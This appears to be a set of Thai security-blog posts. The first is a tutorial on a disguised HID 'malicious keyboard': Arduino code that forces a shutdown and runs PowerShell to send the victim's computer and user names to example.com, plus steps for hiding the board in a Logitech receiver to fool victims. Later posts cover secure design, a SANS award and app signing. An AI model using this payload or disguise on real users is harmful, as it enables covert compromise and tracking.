Download ได้ที่ {rel=""nofollow""}
จากนั้น Run โปรแกรม จะพบว่า มี IDE ให้เราเขียน Code ซึ่งจะมี 2 methods รายละเอียดก็ตาม comment เลยก็คือ setup() จะทำงานทีเดียว ส่วน loop() จะทำงานเป็นรอบ ๆ แบบ loop ตลอดไป

Code ตั้งต้นของ Arduino
## วิธีการเขียน Code\*\* ให้ \*\*Arduino
สำหรับการเขียน Code ใช้งานกับ Arduino นั้น ทุกคนสามารถไปหาอ่านเอาเองได้ แต่ในงานนี้ที่เราจะทำ Malicious Keyboard ผ่าน Arduino HID Attack นั้นเราสามารถดัดแปลง Code จาก USB Rubber Ducky ได้เลย ใน Internet เราจะพบ Resource หลายที่เช่น
- ตัวอย่าง USB Rubber Ducky Payload {rel=""nofollow""}
- Convert USB Rubber Ducky Payload ไปเป็น Arduino Code (มีหลาย links) {rel=""nofollow""} {rel=""nofollow""}
วิธีทำก็แค่หา Payload ที่สนใจนำไป Convert เป็น Arduino Code จากนั้นเปลี่ยนแปลงตามต้องการอีกนิดหน่อยก็เรียบร้อย ซึ่งจะขอข้ามขั้นตอนนั้นไปเลยและจะขอเอาตัวอย่าง Arduino Code ให้เอาไปใช้กัน
```c
#include
void setup() {
Keyboard.begin();
delay(5000);
Keyboard.press(KEYLEFTGUI);
delay(1000);
Keyboard.press('r');
delay(500);
Keyboard.releaseAll();
delay(1000);
Keyboard.print("shutdown -c Youhavebeenhacked!!! -r -t 120");
delay(500);
Keyboard.press(KEYRETURN);
delay(1000);
Keyboard.press(KEYLEFTGUI);
delay(1000);
Keyboard.press('r');
delay(500);
Keyboard.releaseAll();
delay(1000);
Keyboard.print("powershell -w 1 -command start iexplore https://example.com/log.php?record=$env:computername+'\\'+$env:username");
delay(500);
Keyboard.press(KEYRETURN);
delay(1000);
Keyboard.releaseAll();
delay(1000);
Keyboard.end();
}
void loop(){}
```
จาก Code ด้านบน มีการใช้ชุด functions ของ keyboard จึงต้อง include Keyboard.h เข้ามา จากนั้นทำการสั่งให้กดปุ่ม Window + r และสั่ง shutdown เครื่องภายใน 2 นาที จากนั้นสั่งให้กด Window + r พร้อมเรียกใช้ PowerShell เพื่อเก็บ Logs ชื่อผู้ใช้งานและชื่อเครื่องของคนที่นำ Malicious Keyboard ไปใช้ ส่วนอื่นที่เห็นจะเป็นคำสั่ง Delay เพื่อให้ทำงานได้อย่างถูกต้องไม่เร็วเกินไปจนมันทำงานผิดพลาด หรือช้าไปจนผู้ใช้ดึงทิ้งซะก่อน
ต่อไปให้เอา Code วางใน IDE จากนั้นเสียบ Arduino จะพบว่าพร้อมทำงาน

ไฟกระพริบแสดงถึงความพร้อมในการ Upload Code ให้กับ Arduino ส่วน D-Link ที่เห็นเป็น Dongle เสียบกับ Port USB ก่อนเพื่อป้องกันไม่ให้ Port USB ของเครื่องถูกใช้งานหนักเกินไป (ระหว่างการทดสอบหากมีการแก้ code และทดสอบบ่อย ๆ ต้องมีการเสียบ Arduino เข้า-ออกหลายครั้ง)
ไปดูที่ IDE ว่า setting เรียบร้อยแล้วหรือไม่ โดยต้องเลือกประเภทของ Arduino ที่ใช้

ใช้ Beetle/Leonardo ก็ต้องมาตั้งค่าที่นี่ให้ตรงกับรุ่นที่เราใช้
จากนั้นดูว่าเครื่องของเรามี Port ที่เชื่อมต่อกับ Arduino เรียบร้อย
Tools->Port ให้เลือก Leonardo เพื่อเลือก Port ที่จะใช้งาน
ที่มุมซ้ายบน Click "Verify" :br
ถ้าไม่ติดปัญหาอะไรจะแสดงให้เห็นว่าใช้ Storage และ Memory ไปขนาดไหน
จากนั้นให้ click Upload (ปุ่มขวามือถัดจาก Verify) ตามลำดับ ถ้า Upload สำเร็จ จะแสดงข้อความ "Done Uploading" หลังจากนั้นเราลองนำ Arduino ไปทดสอบเสียบที่เครื่องเป้าหมายที่ใช้ MS Window จะพบว่าทำงานตามที่เราต้องการแล้ว

การเสียบ Arduino รอบแรกอาจจะเกิดปัญหาเรื่อง Driver แต่การเสียบรอบสองมันจะทำงานได้ ซึ่งไม่มีปัญหากับการโจมตีเพราะเหยื่อย่อมพยายามอยากใช้งานให้ได้
จบในส่วนของ Software แล้ว สำหรับส่วนของ Hardware นั้นสุดยอด Maker ของเรา คุณขวัญชัย จะมาแนะนำขั้นตอนการแปลงร่าง Arduino ให้กลายมาเป็น Malicious Keyboard กันครับ
## ขั้นตอนการทำ
ขั้นตอนการสร้าง Malicious Keyboard ในส่วนของ USB RF-Receiver นั้น ความสำคัญอยู่ที่ตัว USB RF-Receiver ที่ผลิตออกมา ต้องไม่แปลกตาจนเกินไป เพราะจะทำให้เหยื่อลังเลที่จะเสียบใช้งานดังนั้นเราจึงต้องใช้หลักจิตวิทยาเล็กน้อย โดยการเลือกยี่ห้อของ Keyboard ที่พบเห็นได้ทั่วไปในตลาด ด้วยเหตุผลข้างต้น เราจึงเลือกใช้ Keyboard ยี่ห้อ Logitech รุ่น MK220 เนื่องจากมี USB RF-Receiver ขนาดใหญ่ ซึ่งปัจจุบันหาได้ยากแล้ว ที่สามารถนำแผ่นวงจร Arduino แบบดัดแปลงแล้วมาซ่อนเอาไว้ภายในโดยไม่ยากเกินไปนัก

หน้าตาของชุด Mouse/Keyboard รุ่นที่เลือกมาดัดแปลง

USB RF Receiver ของ Logitech MK220
อาจมีคำถามว่าทำไมยังมี Wireless Keyboard ที่ยังมีตัว USB RF-Receiver ขนาดใหญ่ขนาดนี้หลงเหลืออยู่ เป็นของเก่าตกรุ่นไปหลายปีแล้วใช่หรือไม่ คำตอบนั้นอาจเพราะเป็นความโชคดีของเราอยู่ส่วนหนึ่งที่ Logitech ผลิต Wireless Keyboard รุ่นนี้ออกมาให้มี USB RF-Receiver ขนาดใหญ่ เพื่อให้สามารถรับสัญญาญ RF ได้ไกลขึ้น ซึ่งส่วนที่ขยายใหญ่ขึ้นมานั้นเป็นส่วนของสายอากาศ (Antenna) ที่เพิ่มขึ้นมานั่นเอง
เมื่อเราหา Wireless Keyboard รุ่นที่เหมาะสมได้แล้ว ต่อมาเราจะมาหาแผ่นวงจร Arduino ที่จะเอามาทำ Malicious Device โดยทั่วไปก็หาในเว็บไซต์ EBAY นั่นเอง โดยใช้ Keyword ทั่ว ๆ ไปว่า "Arduino Tiny Board" ซึ่งผลการค้นหาจะมีให้เลือกหลายรุ่น โดยรุ่นที่น่าสนใจคือ DigiSpark ที่ใช้ชิปของ Atmel Attiny85 ซึ่งมี Flash Rom ขนาด 6k ให้ใช้ซึ่งเพียงพอกับการใช้งานแล้ว แต่พบปัญหาว่าการวาง Layout ของ Component ต่าง ๆ บน Board ไม่สามารถลดขนาดได้มากกว่านี้แล้ว จึงต้องหาใหม่

DigiSpark Attiny85 และ Layout ของ Component ที่มีปัญหา
รุ่นที่พิจารณาถัดมาเป็นของ CJMCU Arduino Leonardo ใช้ชิป Atmega32u4 ซึ่งมี Flash Rom ขนาด 28K ให้ใช้ และมีการวาง Layout ของ Component ได้ดีมากจึงสามารถลดขนาดได้โดยการตัด Expansion Terminal ที่เอาไว้เชื่อมกับ Shield ออกไป ตามแนวรอยประซึ่งเมื่อสังเกตแนวลายวงจรแล้วสามารถตัดทิ้งออกไปได้โดยไม่มีผลกระทบกับแผ่นวงจรและมีขนาดพอดีกับ USB RF-Receiver ของ Logitech

CJMCU Arduino Leonardo ที่ใช้ชิป Atmega32u8 และแนวการตัด
ส่วนการตัดจะใช้ใบตัดรอบสูง เพื่อให้รอยตัดแม่นยำกว่าการใช้ใบเลื่อยปกติ แต่ฝุ่นมันจะฟุ้ง ๆ หน่อย

ขั้นตอนการตัดส่วนที่ไม่จำเป็นออก
หลังจากนั้นให้ทำการบัดกรีเชื่อม USB Connector และสับเปลี่ยนกับ USB RF-Receiver เป็นอันเสร็จพร้อมแจก

Malicious USB ก่อน และหลังสับเปลี่ยน โดยรูปขวาคือ USB RF-Receiver ตัวจริงที่ถอดสลับแล้ว
อุปกรณ์ทั้งหมดที่ใช้สามารถสั่งซื้อผ่าน Online และบางส่วนหาซื้อจากแหล่งเครื่องมืออิเล็กทรอนิกส์แถวบ้านหม้อเป็นหลักซึ่ง Maker ทั่วไปสามารถทำได้ครับ

บทความนี้ต้องยกเครดิตให้กับคุณขวัญชัย ประจวบกลาง ที่ได้มาเป็น Guest Writer ให้กับเราและเป็นผู้ออกแบบงานและสร้าง Prototype ในส่วนของ Rogue Device: Malicious Keyboard ครับ
# หลักแห่งการออกแบบระบบอย่างมั่นคงปลอดภัย (Secure Design Principles)
ธนาคารรายใหญ่มีกฎระเบียบข้อบังคับในการคัดเลือกผู้ให้บริการหลายข้อ ทั้งในแง่ขีดความสามารถและความมั่นคงทางการเงินของบริษัท แต่เมื่อมีการจัดซื้อจัดจ้างผลิตภัณฑ์หรือบริการไปแล้ว รายละเอียดของหนังสือสัญญาเน้นไปที่คุณสมบัติและ Requirement ที่ต้องการเพียงอย่างเดียว แต่กลับไม่มีเนื้อหาบังคับผู้ให้บริการหรือผู้จัดหาผลิตภัณฑ์แก้ไขประเด็นด้านความมั่นคงปลอดภัยหากเกิดปัญหาหรือประเด็นในด้านดังกล่าวในอนาคต
## เหลือเชื่อ แต่เกิดขึ้นจริง!
บริษัทผลิตซอฟต์แวร์ CMS ที่ใช้สำหรับบริหารจัดการเว็บไซต์ อยู่ในตลาดมานานหลายปี มีลูกค้าองค์กรใช้งานหลายต่อหลายแห่งให้ความสำคัญกับความมั่นคงปลอดภัยต่ำมาก เมื่อเกิดประเด็นด้านความมั่นคงปลอดภัยเกิดขึ้น บริษัทดังกล่าวกลับทำการแก้ไข Source Code เฉพาะประเด็นที่ถูกตรวจพบใน Environment ขององค์กรที่ใช้งานแห่งนั้นเท่านั้นแต่ไม่เคยนำไปแก้ไขหรือ Update ซอฟต์แวร์ CMS Version ที่เอาไปขายให้กับลูกค้ารายอื่น ๆ เลย
## เหลือเชื่อ แต่เกิดขึ้นจริง!
เหตุการณ์ข้างต้น ถ้าพิจารณาให้ถี่ถ้วนก็จะพบว่าล้วนก่อให้เกิดต้นทุนทั้งสิ้น ไม่ว่าจะเป็นต้นทุนที่เป็นเม็ดเงิน ต้นทุนด้านเวลา ต้นทุนการจัดการ หรือแม้กระทั่งต้นทุนการเสียโอกาส การยกตัวอย่างมาข้างต้นไม่ได้มีจุดประสงค์เพื่อเสนอความคิดในเชิงบริภาษ แต่อยากจะเล่าให้ทุกคนได้รู้จักนำหลักการด้าน Security ไปใช้ตั้งแต่ขั้นตอนการออกแบบไปเลย ลดปัญหาที่ตามมาในภายหลังโดย Concept แบบนี้เราจะเรียกว่า Secure Design Principles ซึ่งหลาย ๆ คนคงเคยได้ยินแนวความคิดเรื่องการออกแบบระบบอย่างมั่นคงปลอดภัยมาบ้างแล้ว และเชื่อเถอะว่าเรากำลังใช้แนวความคิดดังกล่าวอยู่ด้วยเช่นกัน
เรื่องของการออกแบบระบบอย่างมั่นคงปลอดภัยมีการพูดถึงมานานกว่า 40 ปีแล้ว หลังจากการปล่อยยาน Apollo 13 ในปี 1970 มาได้ 4 ปี วงการ Computer Science ก็มีการตีพิมพ์งานที่ชื่อ "The Protection of Information in Computer Systems" โดยนัก Computer Scientist 2 คนได้แก่ Jerome Saltzer และ Michael Schroeder โดย Paper นี้พูดถึงกลไกการป้องกันข้อมูลในระบบคอมพิวเตอร์โดยเน้นไปที่การออกแบบเป็นหลัก
แล้วหลักการที่ว่ามีอะไรบ้าง
หลักการที่จะกล่าวถึง ผู้ดูแลระบบ นักพัฒนา โปรแกรมเมอร์ หรือ Software Architect ควรรู้จักหลักการดังต่อไปนี้
1. Economy of mechanism: "Keep the design as simple and small as possible" หมายถึงการออกแบบระบบให้เรียบง่ายและมีขนาดไม่ใหญ่จนเกินไปนัก เหตุผลก็คือระบบใด ๆ ที่ต้องการความมั่นคงปลอดภัยจำเป็นอย่างยิ่งที่จะต้องได้รับการตรวจสอบและกำกับ การที่ระบบเรียบง่ายและไม่ซับซ้อนจึงเป็นสิ่งจำเป็น
2. Fail-safe Default: "Base access decisions on permission rather than exclusion" คือการออกแบบให้ระบบตัดสินใจเรื่อง Access Control โดยใช้หลัก Whitelist คือ ให้ใครทำอะไรบ้าง เข้าถึง resource อะไรและเข้าใช้งานด้วยวิธีไหน หากไม่ได้อยู่ใน Whitelist ระบบก็จะไม่อนุญาตโดยปริยาย ตรงกันข้ามการใช้ Blacklist หรือการระบุว่าไม่ให้ใครทำอะไรบ้าง ในระยะยาวการ Maintain จะทำได้ลำบากเพราะมีวิธีหลีกเลี่ยงซิกแซกใหม่ ๆ ที่เราต้องใส่เพิ่มเข้าไปใน blacklist เสมอ
3. Complete mediation: "Every access to every object must be checked for authority." ข้อนี้ต้องการให้มีการตรวจสอบสิทธิ์ก่อนการเข้าถึง Object ที่ต้องการเสมอ เช่นก่อนการเข้าถึง Database, เข้าถึง Table และเข้าถึง Record ของข้อมูลที่ต้องการ ระบบต้องพิจารณาว่าผู้ใช้มีสิทธิ์หรือไม่ ช่องโหว่ด้าน Access Control มากกว่า 90% ที่ผมเคยพบจากงานเจาะระบบตามที่ต่าง ๆ มักละเลยข้อนี้ Concept ดูเหมือนง่ายก็จริงแต่การ Implement ต้องรอบคอบ
4. Least privilege: "Every program and every user of the system should operate using the least set of privileges necessary to complete the job." ข้อนี้ตรงไปตรงมา หากผู้ดูแลระบบหรือนักพัฒนาระบบมี Concept ในการให้สิทธิ์หรือครอบครองสิทธิ์ในระดับต่ำที่สุดเท่าที่จำเป็นต่อการทำงาน ความเสี่ยงในหลาย ๆ เรื่องย่อมลดระดับความรุนแรงไปได้มาก
5. Least common mechanism: "Minimize the amount of mechanism common to more than one user and depended on by all users." พูดง่าย ๆ ก็คือให้จำกัดสิ่งที่มีผู้ใช้หลาย ๆ คนใช้ร่วมกัน เพราะเมื่อ Component นั้นเกิดปัญหาขึ้นมา มันจะกระทบผู้ใช้งานจำนวนมากหรืออาจส่งผลกระทบกับทั้งระบบ ตัวอย่างที่มีการนำหลักการนี้ไปใช้ที่เห็นได้อย่างชัดเจนคือ Kernel Module เมื่อผู้ใช้ต้องการใช้ Module ใด ๆ ก็สามารถที่จะ Load Module นั้น ๆ เข้าไปโดยไม่ต้อง Reboot และมากกว่านั้นคือไม่ทำให้ Kernel Image ใหญ่เกินไปและเปลี่ยนแปลงได้ยาก หากจะฝัง Function ทุก ๆ อย่างเข้าไปในตัว Kernel ตั้งแต่ต้น
6. Psychological acceptability: "It is essential that the human interface be designed for ease of use, so that users routinely and automatically apply the protection mechanisms correctly." จุดประสงค์ของข้อนี้คือตั้งใจให้ Design ของระบบง่ายต่อการใช้งาน โดยเฉพาะพวก Security Features ต้อง User Friendly ไม่เป็นอุปสรรคต่อการตั้งค่าใช้งาน ไม่งั้นผู้ใช้จะไม่ยอมใช้
7. Compromise Recording เป็น Feature ที่มีไว้เพื่อทำให้เจ้าของระบบรู้ว่าระบบถูกโจมตี เช่นการ Enable ให้ระบบเก็บ Audit Trail ต่าง ๆ จำพวก Login, Access, Modify เพื่อตรวจสอบกิจกรรมที่ไม่พึงประสงค์ อย่างไรก็ตามมันมีความเป็นไปได้ที่ผู้โจมตีจะสามารถทำลายร่องรอยเหล่านั้นได้
นอกเหนือจากที่กล่าวถึงใน Paper แล้วก็ยังมีหลักการที่สำคัญอื่น ๆ ที่มักกล่าวถึงเป็นประจำในการออกแบบระบบให้มั่นคงปลอดภัย ที่พวกเราควรรู้จักก็จะมี
- Defense in Depth ที่ต้องสร้าง Layer of Defense หลายระดับเพื่อว่าเมื่อ Protection ชั้นหนึ่งถูกทำลายก็ยังมีชั้นอื่น ๆ อยู่
- Fail-secure เมื่อระบบเกิดปัญหา ก็ยังคงต้องรักษาระดับ Security ของมันอยู่ และสุดท้าย
- Design for updating ที่ผู้พัฒนาระบบควรออกแบบให้ระบบสามารถทำ Security Update ได้

Margaret Hamilton ในปี 1969 นักพัฒนาระบบและ Software ของ NASA ยืนข้าง ๆ Source Code ของโครงการ Apollo ไม่ต้องบอกก็รู้ว่า Security และ Safety สำคัญเพียงไร \[รูปจาก Wikipedia]
หลักแห่งการออกแบบระบบอย่างมั่นคงปลอดภัย (Secure Design Principles) ดูคร่าว ๆ ก็ดูเหมือนง่าย แต่ก็มีความลุ่มลึกในตัวของมันเอง สามารถประยุกต์ใช้ได้หลากหลาย ปัญหาด้าน Security Issue ที่เคยพบและที่แก้ไม่สำเร็จโดยมากเพราะแก้ไม่ตรงจุด หรือไม่พบ ‘ที่เกิดเหตุ’ เมื่อผู้รับผิดชอบมองผิด เข้าใจประเด็นผิดไปก็มักไปแก้ปัญหาที่ปลายเหตุ การออกแบบระบบอย่างไรให้มีความมั่นคงปลอดภัย จึงเป็นจุดเริ่มต้นหรือ ‘ที่เกิดเหตุ’ ที่เหมาะสมที่สุด
# Super Honorable Mention จาก SANS Holiday Hack Challenge 2018
ในที่สุดเมื่อคืนทาง SANS ก็ได้ประกาศผลผู้ชนะงาน SANS Holiday Hack Challenge 2018 หรือ KringleCon แล้ว โดยเค้าได้สรุปสถิติเบื้องต้นคร่าวๆดังนี้
ปีนี้มีคนเข้าร่วมทั้งหมด 17,460 users มีการส่ง Report ทั้งหมด 337 รายงาน โดยรางวัลแบ่งออกเป็น 6 กลุ่มด้วยกัน เริ่มจาก
1. Lucky draw อันนี้ random 7 คนที่ส่งรายงาน โดยรายงานไม่ต้องถูกต้อง หรือ ครบถ้วนทั้งหมดก็ได้
2. Honorable Mentions - มีหลายคนโดยดูจากคุณภาพของรายงาน บนเว็บเค้าเขียนว่า These folks did a wonderful job with their :br
answers, and we heartily congratulate them
3. Super Honorable Mentions - มีหลายคนโดยดูจากคุณภาพของรายงาน บนเว็บเค้าเขียนว่า Group of people who really went above and beyond with their entries. Their write-ups were SUPERB, demonstrating excellent technical skills along with impressive communication skills.
4. Best Technical Answer - มีรางวัลเดียว It's heavily illustrated, easy to understand, well organized, and, frankly, quite beautiful.
5. Most Creative Answer - มีรางวัลเดียว โดยอันที่ได้รางวัลนั้นเค้าทำเป็น Video บน YouTube อธิบายแต่ละ step เลย
6. Best Overall Answer - รางวัลใหญ่สุด รางวัลเดียว เขียนโคตรดีอ่ะ โดยรายงานนี้เค้าทำกันเป็นทีม 3 คน (จะมีคนนึงในทีมที่ได้รางวัลทุกปีเลยชื่อว่า Vlad)
โดยในปีนี้ทาง Incognito Lab ได้เป็น Super Honorable Mentions ครับ เลื่อนขั้นมา step นึงจากที่เมื่อก่อนเคยได้ Honorable Mentions ก็อยากฝากให้คนที่สนใจลองเล่น SANS Holiday Hack Challenge นะครับ โจทย์มีหลาย Level ไม่ได้ยากเว่อร์ทุกอัน เค้าวางโจทย์ดีทำให้เราได้เรียนรู้จากโจทย์แต่ละข้อ และอีกอย่างคือถือเป็นการฝึกเขียน Report ด้วย ถ้าได้รับคำชมจากผู้เชี่ยวชาญระดับโลกแล้วก็แน่ใจได้ว่าคุณภาพของ Report เราที่ส่งให้ลูกค้านั้นมีคุณภาพที่ดีในระดับนึง แต่แน่นอนล่ะว่าทุกอย่างจะต้อง improve ได้
# Application Signing model and Approval process (1/2)
ในบทความนี้ จะขอนำทุกท่านไปรู้จักกับ Application Signing model และ Approval process พร้อมกับวิเคราะห์ถึงประโยชน์และข้อจำกัดในมุมมองด้านความมั่นคงปลอดภัย ขอเว้นการอธิบายถึงขั้นตอนการ Sign แอปพลิเคชันหรือการส่งแอปพลิเคชันเข้ากระบวนการ Approval เพื่อขึ้น Official App Store ของแต่ละ platform เนื่องจากสามารถหาอ่านได้จากเว็บไซต์ของ Platform provider
Application Signing model และ Approval process ถือเป็นอีกหนึ่งขั้นตอนสำคัญที่ช่วยยกระดับความมั่นคงปลอดภัยให้กับแอปพลิเคชันบนอุปกรณ์พกพา แต่ทุกอย่างย่อมมีข้อจำกัด แล้ว Application Signing model กับ Approval process จะมีส่วนช่วยด้านความมั่นคงปลอดภัยอย่างไร และมีข้อจำกัดอย่างไรบ้าง สามารถอ่านได้จากเนื้อหาต่อไปนี้

## Application Signing model
Application Signing หรือ Code Signing คือการ Sign แอปพลิเคชันด้วย Certificate หรือ keystore ของผู้เผยแพร่แอปพลิเคชันดังกล่าว **การ Sign แอปพลิเคชันไม่ใช่เพื่อการระบุตัวตนของผู้พัฒนา แต่คือเพื่อยืนยันความเป็นเจ้าของของแอปพลิเคชันนั้น (Digital Signature)** และรักษาความถูกต้องสมบูรณ์ (Integrity) ของแอปพลิเคชัน ไม่ให้ถูกดัดแปลงหรือแก้ไขได้โดยที่ผู้ที่ไม่ได้รับอนุญาต ที่ผู้เขียนตั้งใจใช้คำว่า **"ผู้เผยแพร่ (Publisher)"** เพราะว่าในบางครั้ง ผู้พัฒนากับผู้เผยแพร่แอปพลิเคชัน อาจไม่ใช่คนเดียวกันเสมอไป และบ่อยครั้ง แอปพลิเคชันมักถูกเผยแพร่ในนามของบริษัท/องค์กร
> หมายเหตุ: ขออธิบายเพิ่มเติมอีกเล็กน้อยสำหรับคำว่า Certificate ในที่นี้หมายถึง Certificate ที่มีนามสกุลเป็น .pfx เท่านั้น เพราะ .pfx คือการรวมเอา Private key และ Public key มารวมกันไว้ในไฟล์เดียว และการ Sign แอปพลิเคชันตามทฤษฎีก็จะเหมือนกับการทำ Digital Signature คือต้องใช้ Private key ในการ Sign เพื่อจะได้คงคุณสมบัติความถูกต้องสมบูรณ์ของตัวแอปพลิเคชันได้นั่นเอง Certificate ทั่วไปที่เก็บเพียงค่าของ Public Key เช่น .cer, .pem, .crt และอื่น ๆ ไม่สามารถนำมาใช้ Sign แอปพลิเคชันได้
การ Sign แอปพลิเคชัน อย่างที่บอกไปแล้วว่า เพื่อรักษาความถูกต้องสมบูรณ์ของแอปพลิเคชัน นั่นหมายถึงหากมีใครมา Reverse Engineer แอปพลิเคชันของเราแล้วแก้ไขหรือฝัง Malware ลงไป วิธีนี้มักถูกเรียกกันทั่วไปว่า Mod(ify) Application; แอปพลิเคชันที่ถูก Mod จะต้องนำไป Sign ใหม่ และหากผู้ที่ทำ Mod app กับผู้เผยแพร่แอปพลิเคชันเป็นคนละคนกัน ก็จะทำให้ Mod app ถูก Sign ด้วย Identity ที่ต่างกัน เมื่อ Mod app ถูกนำไปติดตั้งลงบนอุปกรณ์ก็จะถูกมองว่าเป็นคนละแอปพลิเคชันแทนและไม่สามารถเข้าถึงข้อมูลของแอปพลิเคชันเดิมได้ (กรณีที่มีทั้งแอปพลิเคชัน ก่อนและหลังแก้ไขที่ถูก Sign ด้วยคนละ Identity ในอุปกรณ์เดียวกัน) แม้ว่า Mod app ดังกล่าวจะมีไอคอน ชื่อ และทุก ๆ อย่างเหมือนแอปพลิเคชันเดิมก็ตาม
แอปพลิเคชันที่ไม่ได้รับการ Sign จะไม่สามารถนำไปติดตั้งหรือรันบนอุปกรณ์ได้ บางคนอาจอยากแย้งว่า "เคยเขียนแอปพลิเคชันก็ไม่เห็นต้อง Sign อะไรเลย สามารถเอาไปรันบน Emulator หรือบนอุปกรณ์ทดสอบได้ปกติ" นั่นเพราะว่า IDE ที่แต่ละ Mobile Platform Provider ได้พัฒนาขึ้นมาไม่ว่าจะเป็น [Xcode](https://developer.apple.com/xcode/){rel=""nofollow""}, [Android Studio](https://developer.android.com/studio/){rel=""nofollow""}, [Visual Studio](https://visualstudio.microsoft.com/){rel=""nofollow""} และอื่น ๆ ส่วนมากล้วนมีฟีเจอร์ในการ Sign แอปพลิเคชันมาให้ในตัวอยู่แล้ว เพื่ออำนวยความสะดวกให้นักพัฒนาสามารถ Build แอปพลิเคชันเพื่อนำไปทดสอบได้ง่ายขึ้น โดยแอปพลิเคชันที่ Build สำหรับใช้ทดสอบจะถูก Sign ด้วย
`debug key` หรือ `Self-signed Certificated` ที่ตัว IDE สร้างให้อัตโนมัติ
แล้วจะเกิดอะไรขึ้น ถ้าแอปพลิเคชันถูก Signed ด้วย Keystore/Certificate ที่หมดอายุ หรือไม่น่าเชื่อถือ?
ถ้า Keystore/Certificate หมดอายุ Keystore/Certificate ดังกล่าวจะไม่สามารถนำไป Sign แอปพลิเคชันใดได้อีก ตัวโปรแกรมที่ใช้ในการ Sign จะฟ้องว่า Keystore/Certificate ดังกล่าวหมดอายุแล้ว และสำหรับแอปพลิเคชันที่ถูก Sign ด้วย Keystore/Certificate ที่หมดอายุไปแล้ว จะไม่สามารถนำไปติดตั้งได้ เพราะก่อนการติดตั้งลงบนอุปกรณ์ ตัว OS จะมีการตรวจสอบความถูกต้องของ Keystore/Certificate เสียก่อน โดยกรณีนี้สามารถแก้ไขได้โดยการต่ออายุ หรือสร้าง Keystore/Certificate ใหม่ขึ้นมาใช้แทนอันเดิม
ส่วน Keystore/Certificate ที่ไม่น่าเชื่อถือ เช่น `debug key`, `self-signed certificate`เป็นต้น สาเหตุของกรณีนี้มักมาจากการติดตั้งแอปพลิเคชันที่ไม่อยู่บน Official Application Store จึงถือว่าไม่ได้รับการรับรองอย่างถูกต้องจาก Platform Provider ตัว OS จะให้ผู้ใช้เป็นคนตัดสินใจเองว่าจะยอมเชื่อแอปพลิเคชันดังกล่าวหรือไม่ และแอปพลิเคชันดังกล่าวจะไม่สามารถรันได้ จนกว่าผู้ใช้จะเชื่อถือแอปพลิเคชันนั้นก่อน
## Application Signing model ของ Apple
Apple จะใช้คำว่า [Application Code Signing](https://developer.apple.com/library/archive/documentation/General/Conceptual/DevPedia-CocoaCore/AppSigning.html){rel=""nofollow""} ขั้นตอนการ Sign คือผู้เผยแพร่จะต้องมี Certificate เสียก่อน โดย Certificate นี้จะออกโดย Apple แต่ก็ไม่ได้หมายความว่าจะปลอดภัย เพราะแค่หมายถึงผู้เผยแพร่คนดังกล่าวได้รับอนุญาตให้เผยแพร่แอปพลิเคชันสำหรับอุปกรณ์ Apple เพียงเท่านั้น ไม่ได้การันตีถึงคุณภาพหรือความปลอดภัยของตัวผู้เผยแพร่แต่อย่างใด
ด้วยเหตุนี้ Apple จึงมีสิทธิเพิกถอน Certificate ของผู้เผยแพร่ได้ทุกเมื่อ หากพบว่ามีการกระทำความผิด เมื่อ Certificate ไม่ได้รับการรับรองอีกต่อไป จะทำให้แอปพลิเคชันที่ถูก Sign ด้วย Certificate ดังกล่าวจะไม่สามารถนำไปรันต่อได้ แต่แอปพลิเคชันเดิมสามารถถูก Sign ด้วย Certificate ใหม่และนำไปเผยแพร่ใหม่ได้
ข้อมูลเพิ่มเติม: {rel=""nofollow""}

## Application Signing model ของ Android
Android เสนอ 2 ทางเลือกให้กับผู้เผยแพร่ในการ Sign แอปพลิเคชัน ซึ่งแต่ละทางเลือกจะมีข้อดีข้อเสียต่างกัน ขึ้นอยู่กับว่า ใครถนัดแบบไหน และเหมาะกับแบบไหนมากกว่า
1. ฝาก Signing key ไว้กับ Google — ผู้เผยแพร่ไม่ต้องเก็บรักษา key ไว้เอง ทำให้โอกาสที่ Signing key จะถูกขโมยจากการถูกยึดเครื่องลดลง แต่จะไปเสี่ยงที่การถูกขโมยระหว่างการส่งให้กับ Google แทน ขั้นตอนคือผู้เผยแพร่จะต้องทำการเข้ารหัส Signing key และส่งให้กับ Google ก่อน จากนั้นให้ทำการสร้าง key อีกอันที่ชื่อว่า Upload key แล้วนำไปลงทะเบียนกับ Google เพื่อผูกกับ Signing key ที่ได้ส่งไปก่อนหน้านี้ กระบวนการนี้จะทำเพียงครั้งเดียว ข้อดีของวิธีนี้คือเน้นความปลอดภัยสูงแค่ตอนส่ง Signing key ให้กับ Google ก็พอ ทำให้ประหยัดเวลาและงบได้มากกว่าการต้องปกป้อง Signing key ไว้กับตัวเอง

เมื่อผู้เผยแพร่ต้องการส่งแอปพลิเคชันขึ้น Playstore ก็จะ Sign แอปพลิเคชันดังกล่าวด้วย Upload key ส่งให้กับทาง Google ซึ่งทาง Google ก็จะใช้ Upload key ที่ได้ Sign ไปในการระบุหา Siging key ของผู้เผยแพร่ที่ฝากไว้ แล้วใช้ Signing key นั้นในการ Sign แอปพลิเคชันและเผยแพร่แทน
วิธีนี้อาจถูกมองว่าปลอดภัย เพราะ Signing key ฝากไว้กับ Google แต่ว่า Upload key ก็ยังคงอยู่ในความรับผิดชอบของผู้เผยแพร่อยู่ดี เพียงแต่ว่าหาก Upload key หายหรือถูกขโมย ผู้เผยแพร่แค่แจ้งไปยัง Google เพื่อยกเลิกการใช้งาน Upload key ดังกล่าวและสร้าง Upload key ใหม่แทน ซึ่งช่วยประหยัดเวลาได้มากกว่าการสร้าง Signing key ใหม่ การยกเลิก Upload key จะไม่ส่งผลใด ๆ ต่อแอปพลิเคชันที่เคยถูก Sign ไปแล้ว เพราะ Upload key ใช้เพื่อระบุหา Signing key ที่ฝากไว้กับ Google เท่านั้น
2\. เก็บ Signing key ไว้เอง — เป็นวิธีที่ดูเหมือนจะอันตรายเพราะหาก Signing key ถูกขโมยก็จะเกิดผลกระทบมหาศาล แถมยังต้องเสียเวลาเพิกถอนและสร้างขึ้นใหม่อีก ซึ่งยุ่งยากกว่าการสร้าง Upload key หลายเท่าตัว แต่หากคิดว่าสามารถเก็บรักษา Signing key ได้อย่างปลอดภัยอยู่แล้ว วิธีนี้ก็ค่อนข้างเหมาะสม เพราะไม่ต้องเสียเวลาส่ง key ให้กับ Google และต้องคอยรักษา Upload key อีกอยู่ดี

ข้อมูลเพิ่มเติม: {rel=""nofollow""}
## Application Signing model ของ Microsoft
